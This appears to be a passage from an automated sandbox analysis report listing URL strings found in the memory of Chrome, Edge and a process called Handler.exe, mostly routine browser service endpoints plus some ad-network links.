Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000007.00000003.2178439550.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178473761.00001B0C00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178004291.00001B0C00390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000007.00000003.2189853954.00001B0C00294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197700202.00001B0C01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197156841.00001B0C0140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197138563.00001B0C0141C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 0000000C.00000002.2400179303.00000269B8DA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000007.00000003.2178823724.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2412280652.000079D40236C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000007.00000003.2179310396.00001B0C00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2182820220.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179335143.00001B0C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2187508937.00001B0C00C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184236676.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2183765544.00001B0C00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178730407.00001B0C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184023273.00001B0C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2178823724.00001B0C00D2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 0000000C.00000002.2412280652.000079D40236C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000007.00000003.2168216191.0000746C002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2168230840.0000746C002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2410513912.000079D402240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Handler.exe, 00000001.00000002.2667841600.00000000047CF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultlt
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000007.00000003.2216806923.00001B0C01084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000007.00000003.2184915109.00001B0C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000007.00000003.2175060224.00001B0C004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: Handler.exe, 00000001.00000002.2665802894.0000000004511000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2665802894.00000000043D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000007.00000003.2179229642.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2184725429.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2203140320.00001B0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2197727608.00001B0C00BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icondTripTime
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/%
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/9
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/C
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/H
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/R
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Y
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/c
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/f
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/m
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/w
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/z
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000007.00000003.2215986698.0000106000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2171546076.000010600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000007.00000003.2217550945.00001B0C01954000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217336901.00001B0C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217900260.00001B0C01958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217376478.00001B0C0193C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2217451206.00001B0C01950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: msedge.exe, 0000000C.00000002.2413301640.000079D402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000007.00000003.2214480549.00001B0C0180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: Handler.exe, 00000001.00000002.2664676243.000000000410F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 0000000C.00000003.2311449201.000079D402568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
